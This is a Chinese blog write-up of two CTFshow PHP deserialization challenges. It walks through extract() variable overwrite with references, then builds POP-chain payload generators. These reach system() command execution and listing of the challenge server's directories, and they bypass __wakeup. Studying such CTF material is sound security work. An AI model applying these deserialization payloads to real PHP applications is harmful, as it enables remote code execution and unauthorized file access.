CTFSHOW 击剑杯

给我看看

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");

class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
        $this->name='ctfshow第一深情';
        $this->your_answer='Only you know';
        $this->useless="I_love_u";
    }

    public function __wakeup(){
        global $flag;
        global $you_never_know;
        $this->name=$you_never_know;

        if($this->your_answer === $this->name){
            echo $flag;
        }
    }
}

$secret = $_GET['s'];
if(isset($secret)){
    if($secret==="给我看看!"){
        extract($_POST);
        if($secret==="给我看看!"){    
            die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
        }
        unserialize($secret);
    }
}else{
    show_source(__FILE__);
}

get参数:?s=给我看看
post:secret=(下面代码反序列化的结果)

<?php
class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
       $this->your_answer=&$this->name;
    }

}

echo(serialize(new whoami()));

考点是:extract变量覆盖,&引用

easypop

<?php 
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}

这也是一道反序列化的题目,把类的主要内容抽取一下

action_1:
__call:call_user_func
wake_up:$this->fun=""
toString:$this->tmp->str 1

action_2:
getFlag():system  1
__call:phpinfo()
__wakeup:没用
__get:$function() 1

action_3
__construct:system 1
__destruct:urlencode 1  
__get:$this->ran->$jia()  1  触发call?或者getFlag?

action_4
__destruct: $this->ran->$jia 1
append:new $ctf($show) 1
__invoke:$this->append($this->ctf,$this->show) 1

上面是我做题的时候写的,标1的是我认为有用的,要找有destruct魔术方法的类入手,分析之后觉得action_3比较合适

把3当成触发,destruct->1 __toString->2 __get->4 invoke->3 construct

解释下为什么:
把3当成触发,3里面的__destruct里面有一个urlencode函数,这就不难想到,如果将一个类当成字符串处理的化会触发__toString,而有__toString方法的是1。1的__toString,里面有个$this->tmp->str,所以不难想到让他去触发__get魔术方法。有get魔术方法的是2与3,3我们已经用过了,所以考虑2的,2的__get方法中返回了一个函数,于是就想到了__invoke魔术方法,可以看到4的__invoke魔术方法中是调用了一个append的函数,这个函数里面new了一个类,因为我们最后的任务还是命令执行,然后就去调用3中的construct中的system方法

题目有提示说

 echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";

果然使用ls /,没有找到这样的文件,所以猜测可能将文件隐藏了,ls -a /具有列出隐藏文件的功能,所以使用这个命令

<?php
class action_1{
 public function __construct(){
        $this->tmp=new action_2();
    }
}
class action_2{

    public function __construct(){
        $this->p=new action_4();
    }
   
}

class action_3{
    public function __construct(){
        $this->str=new action_1();
    }
}
class action_4{
    public function __construct(){
    $this->ctf="action_3";
    $this->show="ls -a /";
    }
  
}
$a=new action_3();
echo(serialize($a));

在这里插入图片描述
然后使用cat /fz3_.txt就好了
其实直接使用cat /f*就可以了
对了,这里需要绕过wakeup,需要把action_2后面的成员属性数目大于实际数目,即把1改为2即可
但是这应该是非预期解,预期解是使用DirectoryIterator原生类配合glob://

The DirectoryIterator class provides a simple interface for viewingthe contents of filesystem directories. DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
glob:// 查找匹配的文件路径模式

在这里插入图片描述

public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }

append这里使用得是echo,将类当成字符串输出了,会调用到toString方法,那么不妨看一下DirectoryIterator中的toString方法

在这里插入图片描述

所以如果我们构造

<?php
class action_1{
 public function __construct(){
        $this->tmp=new action_2();
    }
}
class action_2{
    public function __construct(){
        $this->p=new action_4();
    }
}
class action_3{
    public function __construct(){
        $this->str=new action_1();
    }
}
class action_4{
    public function __construct(){
    $this->ctf="DirectoryIterator";
    $this->show="glob:///f[A-z][0-9]_*";
    }
  
}
$a=new action_3();
echo(serialize($a));

在这里插入图片描述
因为前面有提示说:

echo “套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件”;

echo new DirectoryIterator(glob://…)只能输出得到的第一个文件名,所以我们构造要尽量的详细

得到文件名之后然后现在其实还有一个点没有用到就是action_2的

public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }

以及action_1的

public function __call($wo,$jia){
        call_user_func($this->fun);
    }

call_user_func()如果传入的值是一个数组,那么数组的第一个值被当成一个类,第二个值被当成类中的方法进行调用

下面就不分析了,直接给pop链

<?php
class action_1{
 public function __construct(){
  $this->fun=array(new action_2,'getFlag');
 }
 
}
class action_2{
  public $tmp='fz3_.txt';
}

class action_3{
    public function __construct(){
        $this->ran=new action_1();
    }
}
class action_4{
    public function __construct(){
     $this->ran=new action_3();
    }
  
}
$a=new action_4();
echo(serialize($a));

这个也需要绕过__wakeup,对这点不是绕过,是延迟,我们最后还是wakeup中的die结束程序的

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值